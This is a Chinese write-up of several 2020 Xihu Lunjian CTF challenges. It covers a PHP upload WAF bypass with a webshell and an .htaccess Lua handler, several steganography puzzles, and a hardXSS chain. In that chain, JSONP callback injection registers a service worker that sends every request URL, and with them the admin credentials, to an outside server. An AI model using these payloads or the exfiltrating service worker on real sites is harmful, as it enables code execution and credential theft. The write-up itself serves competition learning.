西湖论剑2020 newupload
这道题的一个考点是最新宝塔面板的waf对php文件上传的一个绕过
这里没有做出来,转载别人的wp了2020西湖论剑 baby writeup
方法一
绕waf,写php
POST /sandbox/5oefkr4k741nabj0tp3425stal/index.php HTTP/1.1
Host: newupload.xhlj.wetolink.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------178532495824249355002758713982
Content-Length: 474
Origin: http://newupload.xhlj.wetolink.com
Connection: close
Referer: http://newupload.xhlj.wetolink.com/sandbox/5oefkr4k741nabj0tp3425stal/
Cookie: PHPSESSID=5oefkr4k741nabj0tp3425stal
Upgrade-Insecure-Requests: 1
-----------------------------178532495824249355002758713982
Content-Disposition: form-data; name="file"; filename="111111111.p
h
p"
Content-Type: image/jpeg
一些二进制数据,复制不进来就算了。。。
<?php var_dump($_GET["lala"]($_GET["a"].$_GET["b"].$_GET["c"].$_GET["d"].$_GET["e"].$_GET["f"].$_GET["g"]));phpinfo();
然后是利用fastcgi进行命令执行
方法二 估计是非预期好吧,官方说这才是正解
lua真是个神奇的东西,我不得不服
#.htaccess
AddHandler lua-script .lua
#get.lua
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
西湖论剑2020 yusa_yyds
首先是webp隐写,我是想到了隐写,但是辣鸡百度是真的辣鸡,以关键词“webp 隐写”啥都搜不到,然而额google了一下第一个blog(记一道webp图片隐写 – L1nearのspace)就给出了答案
pip install stegpy
stegpy encode.webp
the_password_is:Yus@_1s_YYddddsstegpy encode.webp the_key_is:Yus@_yydsstegpy!!
再说一遍,百度是真的辣鸡
然后网页注释里看到
<--! maybe this will be helpful for you
Biometric list is ok!
...后面记不得了,忘记保存了
然后从百度百科找到的 生物识别词汇表(PGP词汇表_百度百科)
#太长了,请base64解码后查看
import base64
open("1.csv","wb").write(base64.b64decode(b"MCwxCjAwLGFhcmR2YXJrCjAxLGFic3VyZAowMixhY2NydWUKMDMsYWNtZQowNCxhZHJpZnQKMDUsYWR1bHQKMDYsYWZmbGljdAowNyxhaGVhZAowOCxhaW1sZXNzCjA5LEFsZ29sCjBBLGFsbG93CjBCLGFsb25lCjBDLGFtbW8KMEQsYW5jaWVudAowRSxhcHBsZQowRixhcnRpc3QKMTAsYXNzdW1lCjExLEF0aGVucwoxMixhdGxhcwoxMyxBenRlYwoxNCxiYWJvb24KMTUsYmFja2ZpZWxkCjE2LGJhY2t3YXJkCjE3LGJhbmpvCjE4LGJlYW1pbmcKMTksYmVkbGFtcAoxQSxiZWVoaXZlCjFCLGJlZXN3YXgKMUMsYmVmcmllbmQKMUQsQmVsZmFzdAoxRSxiZXJzZXJrCjFGLGJpbGxpYXJkCjIwLGJpc29uCjIxLGJsYWNramFjawoyMixibG9ja2FkZQoyMyxibG93dG9yY2gKMjQsYmx1ZWJpcmQKMjUsYm9tYmFzdAoyNixib29rc2hlbGYKMjcsYnJhY2tpc2gKMjgsYnJlYWRsaW5lCjI5LGJyZWFrdXAKMkEsYnJpY2t5YXJkCjJCLGJyaWVmY2FzZQoyQyxCdXJiYW5rCjJELGJ1dHRvbgoyRSxidXp6YXJkCjJGLGNlbWVudAozMCxjaGFpcmxpZnQKMzEsY2hhdHRlcgozMixjaGVja3VwCjMzLGNoaXNlbAozNCxjaG9raW5nCjM1LGNob3BwZXIKMzYsQ2hyaXN0bWFzCjM3LGNsYW1zaGVsbAozOCxjbGFzc2ljCjM5LGNsYXNzcm9vbQozQSxjbGVhbnVwCjNCLGNsb2Nrd29yawozQyxjb2JyYQozRCxjb21tZW5jZQozRSxjb25jZXJ0CjNGLGNvd2JlbGwKNDAsY3JhY2tkb3duCjQxLGNyYW5reQo0Mixjcm93Zm9vdAo0MyxjcnVjaWFsCjQ0LGNydW1wbGVkCjQ1LGNydXNhZGUKNDYsY3ViaWMKNDcsZGFzaGJvYXJkCjQ4LGRlYWRib2x0CjQ5LGRlY2toYW5kCjRBLGRvZ3NsZWQKNEIsZHJhZ25ldAo0QyxkcmFpbmFnZQo0RCxkcmVhZGZ1bAo0RSxkcmlmdGVyCjRGLGRyb3BwZXIKNTAsZHJ1bWJlYXQKNTEsZHJ1bmtlbgo1MixEdXBvbnQKNTMsZHdlbGxpbmcKNTQsZWF0aW5nCjU1LGVkaWN0CjU2LGVnZ2hlYWQKNTcsZWlnaHRiYWxsCjU4LGVuZG9yc2UKNTksZW5kb3cKNUEsZW5saXN0CjVCLGVyYXNlCjVDLGVzY2FwZQo1RCxleGNlZWQKNUUsZXllZ2xhc3MKNUYsZXlldG9vdGgKNjAsZmFjaWFsCjYxLGZhbGxvdXQKNjIsZmxhZ3BvbGUKNjMsZmxhdGZvb3QKNjQsZmx5dHJhcAo2NSxmcmFjdHVyZQo2NixmcmFtZXdvcmsKNjcsZnJlZWRvbQo2OCxmcmlnaHRlbgo2OSxnYXplbGxlCjZBLEdlaWdlcgo2QixnbGl0dGVyCjZDLGdsdWNvc2UKNkQsZ29nZ2xlcwo2RSxnb2xkZmlzaAo2RixncmVtbGluCjcwLGd1aWRhbmNlCjcxLGhhbWxldAo3MixoaWdoY2hhaXIKNzMsaG9ja2V5Cjc0LGluZG9vcnMKNzUsaW5kdWxnZQo3NixpbnZlcnNlCjc3LGludm9sdmUKNzgsaXNsYW5kCjc5LGphd2JvbmUKN0Esa2V5Ym9hcmQKN0Isa2lja29mZgo3QyxraXdpCjdELGtsYXhvbgo3RSxsb2NhbGUKN0YsbG9ja3VwCjgwLG1lcml0CjgxLG1pbm5vdwo4MixtaXNlcgo4MyxNb2hhd2sKODQsbXVyYWwKODUsbXVzaWMKODYsbmVja2xhY2UKODcsTmVwdHVuZQo4OCxuZXdib3JuCjg5LG5pZ2h0YmlyZAo4QSxPYWtsYW5kCjhCLG9idHVzZQo4QyxvZmZsb2FkCjhELG9wdGljCjhFLG9yY2EKOEYscGF5ZGF5CjkwLHBlYWNoeQo5MSxwaGVhc2FudAo5MixwaHlzaXF1ZQo5MyxwbGF5aG91c2UKOTQsUGx1dG8KOTUscHJlY2x1ZGUKOTYscHJlZmVyCjk3LHByZXNocnVuawo5OCxwcmludGVyCjk5LHByb3dsZXIKOUEscHVwaWwKOUIscHVwcHkKOUMscHl0aG9uCjlELHF1YWRyYW50CjlFLHF1aXZlcgo5RixxdW90YQpBMCxyYWd0aW1lCkExLHJhdGNoZXQKQTIscmViaXJ0aApBMyxyZWZvcm0KQTQscmVnYWluCkE1LHJlaW5kZWVyCkE2LHJlbWF0Y2gKQTcscmVwYXkKQTgscmV0b3VjaApBOSxyZXZlbmdlCkFBLHJld2FyZApBQixyaHl0aG0KQUMscmliY2FnZQpBRCxyaW5nYm9sdApBRSxyb2J1c3QKQUYscm9ja2VyCkIwLHJ1ZmZsZWQKQjEsc2FpbGJvYXQKQjIsc2F3ZHVzdApCMyxzY2FsbGlvbgpCNCxzY2VuaWMKQjUsc2NvcmVjYXJkCkI2LFNjb3RsYW5kCkI3LHNlYWJpcmQKQjgsc2VsZWN0CkI5LHNlbnRlbmNlCkJBLHNoYWRvdwpCQixzaGFtcm9jawpCQyxzaG93Z2lybApCRCxza3VsbGNhcApCRSxza3lkaXZlCkJGLHNsaW5nc2hvdApDMCxzbG93ZG93bgpDMSxzbmFwbGluZQpDMixzbmFwc2hvdApDMyxzbm93Y2FwCkM0LHNub3dzbGlkZQpDNSxzb2xvCkM2LHNvdXRod2FyZApDNyxzb3liZWFuCkM4LHNwYW5pZWwKQzksc3BlYXJoZWFkCkNBLHNwZWxsYmluZApDQixzcGhlcm9pZApDQyxzcGlnb3QKQ0Qsc3BpbmRsZQpDRSxzcHlnbGFzcwpDRixzdGFnZWhhbmQKRDAsc3RhZ25hdGUKRDEsc3RhaXJ3YXkKRDIsc3RhbmRhcmQKRDMsc3RhcGxlcgpENCxzdGVhbXNoaXAKRDUsc3RlcmxpbmcKRDYsc3RvY2ttYW4KRDcsc3RvcHdhdGNoCkQ4LHN0b3JteQpEOSxzdWdhcgpEQSxzdXJtb3VudApEQixzdXNwZW5zZQpEQyxzd2VhdGJhbmQKREQsc3dlbHRlcgpERSx0YWN0aWNzCkRGLHRhbG9uCkUwLHRhcGV3b3JtCkUxLHRlbXBlc3QKRTIsdGlnZXIKRTMsdGlzc3VlCkU0LHRvbmljCkU1LHRvcG1vc3QKRTYsdHJhY2tlcgpFNyx0cmFuc2l0CkU4LHRyYXVtYQpFOSx0cmVhZG1pbGwKRUEsVHJvamFuCkVCLHRyb3VibGUKRUMsdHVtb3IKRUQsdHVubmVsCkVFLHR5Y29vbgpFRix1bmN1dApGMCx1bmVhcnRoCkYxLHVud2luZApGMix1cHJvb3QKRjMsdXBzZXQKRjQsdXBzaG90CkY1LHZhcG9yCkY2LHZpbGxhZ2UKRjcsdmlydXMKRjgsVnVsY2FuCkY5LHdhZmZsZQpGQSx3YWxsZXQKRkIsd2F0Y2h3b3JkCkZDLHdheXNpZGUKRkQsd2lsbG93CkZFLHdvb2RsYXJrCkZGLFp1bHU="))
然后写个python脚本跑一下就出来了
提示 查看/hint.rar和/encode.png
然后hint.rar加了密,压缩包注释提示
利用一种较为古老和不常见的工具。USE your google and Baidu
说实话,之前我没有解出webp隐写,然后看到这个提示,一看压缩算法是比较老的rar29,结果想着是rar29有什么古老而特殊的密码破解工具去了。。。
结果这个提示是对解压出来的hint.jpg隐写的。。。
但是这个提示太不准确了啊,invisible Secrets很古老吗????!!!!
不过官方writeup给出的2.1版确实好古老啊。。。
P.S. 密码是Yusa
反正我用新的版本没能成功获得隐写的flag,但是我又找不到这么老的版本无哪里下,可能真的是我的404实用技巧太差了
后来下载到了古老版本,发现其实最新版本是能解码的,算法选择最后一个 blowfish就可以了。。。解码获得encode.py
import os,random
from PIL import Image,ImageDraw
p=Image.open('flag.png').convert('L')
flag = []
a,b = p.size
for x in range(a):
for y in range(b):
if p.getpixel((x,y)) == 255:
flag.append(0)
else:
flag.append(1)
key1stream = []
for _ in range(len(flag)):
key1stream.append(random.randint(0,1))
random.seed(os.urandom(8))
key2stream = []
for _ in range(len(flag)):
key2stream.append(random.randint(0,1))
enc = []
for i in range(len(flag)):
enc.append(flag[i]^key1stream[i]^key2stream[i])
hide=Image.open('source.png').convert('RGB')
R=[]
G=[]
B=[]
a,b = hide.size
for x in range(a):
for y in range(b):
R.append(bin(hide.getpixel((x,y))[0]).replace('0b','').zfill(8))
G.append(bin(hide.getpixel((x, y))[1]).replace('0b','').zfill(8))
B.append(bin(hide.getpixel((x, y))[2]).replace('0b','').zfill(8))
R1=[]
G1=[]
B1=[]
for i in range(len(key1stream)):
if key1stream[i] == 1:
R1.append(R[i][:7]+'1')
else:
R1.append(R[i][:7]+'0')
for i in range(len(key2stream)):
if key2stream[i] == 1:
G1.append(G[i][:7]+'1')
else:
G1.append(G[i][:7]+'0')
for i in range(len(enc)):
if enc[i] == 1:
B1.append(B[i][:7]+'1')
else:
B1.append(B[i][:7]+'0')
for r in range(len(R)):
R[r] = int(R1[r],2)
for g in range(len(G)):
G[g] = int(G1[g],2)
for b in range(len(B)):
B[b] = int(B1[b],2)
a,b = hide.size
en_p = Image.new('RGB',(a,b),(255,255,255))
for x in range(a):
for y in range(b):
en_p.putpixel((x,y),(R[y+x*b],G[y+x*b],B[y+x*b]))
en_p.save('encode.png')
据此写一个decode脚本解码encode.png就好了
附 stegpy分析
# lsb.py 读图像文件部分
image = Image.open(filename)
if image.mode != 'RGB':
image = image.convert('RGB')
host_data = numpy.array(image)
# lsb.py 隐写部分
def encode_message(host_data, message, bits = 2):
''' Encodes the byte array in the image numpy array. '''
shape = host_data.shape
host_data.shape = -1, # convert to 1D
uneven = 0
divisor = 8 // bits
if(host_data.size % divisor != 0): # Hacky way to deal with pixel arrays that cannot be divided evenly
uneven = 1
original_size = host_data.size
host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))
msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)
msg[:len(message)] = list(message)
host_data[:divisor*len(message)] &= 256 - 2 ** bits # clear last bit(s)
for i in range(divisor):
host_data[i::divisor] |= msg >> bits*i & (2 ** bits - 1) # copy bits to host_data
operand = (0 if (bits == 1) else (16 if (bits == 2) else 32))
host_data[0] = (host_data[0] & 207) | operand # 5th and 6th bits = log_2(bits)
if uneven:
host_data = numpy.resize(host_data, original_size)
host_data.shape = shape # restore the 3D shape
return host_data
可以看出是lsb隐写,默认是最低2有效位覆盖隐写
先测试一下读入数据部分
示例文件:2×2 png位图
>>> np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB"))[:]
array([[[255, 174, 201],
[255, 242, 0]],
[[153, 217, 234],
[185, 122, 87]]], dtype=uint8)
>>> list(np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB")).flat)
[255, 174, 201, 255, 242, 0, 153, 217, 234, 185, 122, 87]
>>> data=np.array(Image.open(r"C:\users\q1079\desktop\1.png").convert("RGB"))
>>> data.shape=-1
>>> data
array([255, 174, 201, 255, 242, 0, 153, 217, 234, 185, 122, 87],
dtype=uint8)
可以看到展开后的数组是先行后列按像素RGB排列,同一个像素的三原色是在一起的
使用stegsolve、python和dewebp手动提取隐写数据
-
先使用dwebp将webp转换为png
-
使用stegsolve的data extract按行最低有效位优先RGB顺序导出RGB的最低两位数据(也可以自己写脚本提取)
-
然后编写python脚本将导出的每个字节的二进制值倒序即可解密获得原文。
>>>data=open("C:/users/q1079/desktop/rgblsb","rb").read()
>>>decode=""
>>> for i in range(0,100):
... decode+=chr(int("0b"+bin(data[i])[2:].rjust(8,'0')[::-1],2)
>>> decode
'stegv3\x00\x00\x00N\x00the_password_is:Yus@_1s_YYddddsstegpy encode.webp the_key_is:Yus@_yydsstegpy!!lá±°\x87½ØY\x96e~')
西湖论剑2020 Yusa
题目附件:https://wwe.lanzous.com/iq72Qhe7uad
xbox360 controller的usb流量数据我是发现了的,甚至我拿我的xbox one s controller抓包试着分析了,奈何没有找到类似的数据格式。。。
我也百度和谷歌了好久,但是一无所获,看来我某404的利用姿势可能真的不对
其实google "xbox 360 controller usb data" 第一个网页就是。。。
Understanding the Xbox 360 Wired Controller's USB Data – Parts Not Included
后面没什么好看的了,就是xbox360 controller 震动时的数据包,震动次数依次为 1 1 4 5 1 4 (淦)
https://server.icystal.top/tools/md5.php?md5=114514
md5为c4d038b4bed09fdb1471ef51ec3a32cd
西湖论剑 hardXSS
复现网址:Admin Login
一直在联系站长那里盯着,忽视了login页面,login页面我怎么会忽视呢,实在太不应该了
检查login页面的源码
<script>
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}
</script>
在这里有一个jsonp跨域调用,正如比赛时公告里的提示,这里应该就是突破口
jsonp 原理解释
出于防范跨站攻击、保护数据安全的考虑,浏览器的安全机制是禁止跨站请求页面的
但是如果是img标签、script标签的src属性中的链接则没有这个限制
只不过img获取的是二进制位图数据,script获取JavaScript脚本
虽然位图数据难以传输html页面,但是JavaScipt脚本的话则有可能通过js变量传递html页面
使用jsonp的src一般的默认格式为domain/page?callback=回调函数名
,返回数据为回调函数名(json数据)
,同时在本地页面有对应的回调函数,负责接收json数据。
通过script标签引用远程服务器的js页面只需content-type为application/javascript即可,并不检查后缀名,因此完全可以利用php、python等根据script的src中携带的参数动态返回需要的数据。
jsonp实现xss
虽然实际实现是动态的,仿佛本地页面从远程服务器动态获取数据,但是在浏览器看来不过是引用了远端的js,并且本地执行了js代码,不过恰好这个远端的js代码调用了本地的一个js函数,并且传入了一组数据。因此既使远端返回的并非回调函数名(json数据)
这种格式的js代码,浏览器依旧会忠实地执行。例如
https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1)//
于是返回的js就变成了(在没有过滤的前提下)
alert(1)//({...})
(*/ω\*)只要我们能够控制callback参数的值就能够实现XSS
login页面js脚本中定义的auto_reg_var函数能够根据我们传入login页面的参数进行变量覆盖,并且在js脚本的第二行执行了这个函数。我们注意到jsonp请求url中的回调函数名是由callback变量控制的,我们正好可以利用auto_reg_var改写callback变量的值,例如
https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
service workder实现XSS持续化
接下去需要利用一项名为 service worker的浏览器新技术,通过这项技术可以为同域名网站设置js脚本在本地处理请求,本意是在断网时也能够访问网站并且提供一定的功能。因此,目标用户点击攻击者精心构造的链接访问具有XSS漏洞的页面后,XSS代码能够在用户访问的域名下加载js脚本注册service worker实现对同域名网站下所有页面的长期劫持。
因为在联系站长页面有如下提示
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
hash = md5(vcode)
console.log(‘验证码:’+hash.substr(0,5))验证码:9edce
点击send有提示
need url like https://xss.hardxss.xhlj.wetolink.com/ and need verify code
所以我们希望能够在https://xss.hardxss.xhlj.wetolink.com/login
页面劫持https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=&adminpwd=
链接,并且将劫持后的链接中的用户名和密码传回来
编写劫持用的service worker脚本sw.js
self.addEventListener('fetch', function(event) {
fetch("https://server.icystal.top/xxx?xxx="+btoa(event.request.url));
})
sw.js脚本没必要像别的wp那样复杂,在监听事件里对于任何链接都编码发送给自己服务器就完事了
iframe实现service worker跨域注册
但是浏览器限制js只能用与当前页面同源的js注册,注册的自然也是作用于当前域的service worker,如果用子域、父域或者其他域的js注册会弹出错误,例如下面这样
Uncaught (in promise) DOMException: Failed to register a ServiceWorker: The origin of the provided scriptURL (‘https://auth.xss.eec5b2.challenge.gcsis.cn‘) does not match the current origin (‘https://xss.hardxss.xhlj.wetolink.com‘).
(匿名) @ VM113:1
比赛公告里给出的ifame的提示能够解决这个问题,也就是在当前页面用js动态创建一个iframe,让ifame的src指向需要注册service worker的域。
var iframe = document.createElement("iframe");
iframe.src="https:///auth.hardxss.xhlj.wetolink.com";
$('body').append(iframe);
然后再向iframe里动态加载一段js来注册service worker。
doc=iframe.contentDocument;
src=doc.createElement("script");
src.innerText="navigator.serviceWorker.register(\""+url+"\")";//注册sw
doc.body.append(src);
//存在问题,待解决
iframe.contentWindow.eval("navigator.serviceWorker.register(\""+url+"\")");//与上面那四行效果相同
这里url指向要注册的js脚本,必须是auth.xss.域的链接,但是我们写的脚本是放在自己的服务器上的。不过serviceworker的注册(register)函数会执行返回的js脚本,并且在serviceworker中可以用importScripts函数引用远程任意站点的js脚本,利用https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=
这个jsonpAPI构造如下url
https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts("//server.icystal.top/sw.js")//
该url返回js脚本
importScripts('//server.icystal.top/sw.js')//({"status":false})
就能愉快地被serviceworker执行,并将我们编写的劫持用脚本sw.js注册进serviceworker了。
document.domain 实现控制跨域iframe中的DOM元素
但是在向iframe中动态添加js的时候遇到了如下的问题
VM1199:2 Uncaught TypeError: Cannot read property ‘createElement’ of null
这是为什么呢?
我们知道window.document可以代替document,调用iframe.contentWindow.document可以看到如下报错
Uncaught DOMException: Blocked a frame with origin "https://xss.hardxss.xhlj.wetolink.com" from accessing a cross-origin frame.
主页面的域为xss.hardxss.,而iframe里的域应该为auth.hardxss.,如果主页面操作iframe里的元素,那么就产生了跨域操作html,这是会被浏览器同源策略阻止的。
但是!!!直接访问https://auth.hardxss.xhlj.wetolink.com可以看到源码中的提示
document.domain = "hardxss.xhlj.wetolink.com";
浏览器对于html页面是否跨域是通过document.domain来判断的(如果有document.domain的话,没有定义则使用url),因此实际上https://auth.hardxss.xhlj.wetolink.com页面在浏览器判断跨域时是hardxss.域的
因此我们可以通过document.domain="hardxss.xhlj.wetolink.com";
让浏览器认为父页面和iframe里auth.hardxss.的子页面都是在域hardxss.下的。
document.domain="hardxss.xhlj.wetolink.com";
var iframe = document.createElement("iframe");
iframe.src="https://auth.hardxss.xhlj.wetolink.com";
$('body').append(iframe);
iframe.onload=function(){ //必须等待载入完成,不然域还是在xss.hardxss.下
doc=iframe.contentDocument;
src=doc.createElement("script");
src.innerText=`navigator.serviceWorker.register("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts('//server.icystal.top/tools/sw.js')//")`;//注册sw
doc.body.append(src);
}
但是https:///auth.hardxss.xhlj.wetolink.com的document.domain=’hardxss.xhlj.wetolink.com’会影响在该页面下注册的service worker吗,这样测得service worker是在auth.hardxss域下的,还是hardxss域下的呢?
就让我们来测试一下
验证攻击
利用XSS漏洞加载注册serviceworker的js脚本
因为service worker只能注册同源的脚本
访问
https://xss.hardxss.xhlj.wetolink.com/login?callback=document.domain="hardxss.xhlj.wetolink.com";var iframe = document.createElement("iframe");iframe.src="https://auth.hardxss.xhlj.wetolink.com";$('body').append(iframe);iframe.onload=function(){doc=iframe.contentDocument;src=doc.createElement("script");src.innerText=`navigator.serviceWorker.register("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=importScripts('//server.icystal.top/sw.js')//")`;doc.body.append(src);}//
报错
Uncaught TypeError: document.domain is not a function
发现返回的是
document.domain({"status":false})
这里是因为auto_reg_var进行变量覆盖的时候=号后面的内容会被截断丢掉,所以document.domain=后面的内容都没有了,不过可以base64编码一下解决这个问题
https://xss.hardxss.xhlj.wetolink.com/login?callback=atob('ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjt2YXIgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7aWZyYW1lLnNyYz0iaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOyQoJ2JvZHknKS5hcHBlbmQoaWZyYW1lKTtpZnJhbWUub25sb2FkPWZ1bmN0aW9uKCl7ZG9jPWlmcmFtZS5jb250ZW50RG9jdW1lbnQ7c3JjPWRvYy5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtzcmMuaW5uZXJUZXh0PWBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcigiaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPWltcG9ydFNjcmlwdHMoJy8vc2VydmVyLmljeXN0YWwudG9wL3N3LmpzJykvLyIpYDtkb2MuYm9keS5hcHBlbmQoc3JjKTt9')
报错
Uncaught SyntaxError: Invalid or unexpected token
返回数据为
atob(‘ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0({"status":false})
可以推测出callback传参不能超过50bytes,由于js脚本太大了不能直接传过去执行,这里有两个办法
一个是利用auto_reg_var的变量覆盖,将js脚本通过另外一个变量(比如lala)传过去,callback返回的脚本调用另外那个变量执行,比如
https://xss.hardxss.xhlj.wetolink.com/login?callback=eval(atob(lala))//&lala=ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjt2YXIgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7aWZyYW1lLnNyYz0iaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOyQoJ2JvZHknKS5hcHBlbmQoaWZyYW1lKTtpZnJhbWUub25sb2FkPWZ1bmN0aW9uKCl7ZG9jPWlmcmFtZS5jb250ZW50RG9jdW1lbnQ7c3JjPWRvYy5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtzcmMuaW5uZXJUZXh0PWBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcigiaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPWltcG9ydFNjcmlwdHMoJy8vc2VydmVyLmljeXN0YWwudG9wL3N3LmpzJykvLyIpYDtkb2MuYm9keS5hcHBlbmQoc3JjKTt9
另外一个是将原来callback参数里的代码存在远程js里(比如xxx/in.js),用ajax来获取并执行
https://xss.hardxss.xhlj.wetolink.com/login?callback=$.get('//xxx/in.js',function(d){eval(d)})//
这个要注意的就是因为只有50个字符长度,需要短网址,但同时要保留.js后缀名不然会被浏览器同源策略认为是跨站请求htm页面给拦截了(喂喂喂,我这是js啊,虽然没有.js后缀)
访问构造后的链接发现
已经成功注册了service worker。可见是在auth.hardxss域下的,service worker的同源策略不受document.domain的影响。
提交payload获取flag
python爆破md5
>>> def trymd5(code):
... for i in range(1000000):
... if(code in hashlib.md5(bytes("%s"%i,encoding="utf-8")).hexdigest()[:5]):
... print(i)
...
>>> trymd5("8f8d9")
66285
提交验证码和上一节构造的url(不知为何base64编码的那个url不起作用,但在本地测试是可行的),显示success,查看服务器http请求日志获得base编码后的用户名和密码,用用户名密码登录即可获得flag
aHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vYXBpL2xvZ2luVmVyaWZ5P2FkbWlubmFtZT1hZG1pbiZhZG1pbnB3ZD1wYXNzd2RfZWU1MGFlNDE3ZjIwODcwNDk3ZjNkNzNiNDFmYTE0Y2M=
一个意外的收获
- 在 chrome浏览器中,使用jQuery动态填加的iframe中的重定向会被浏览器拦截,而用原生javascript添加的ifame中的重定向会导致整个页面跳转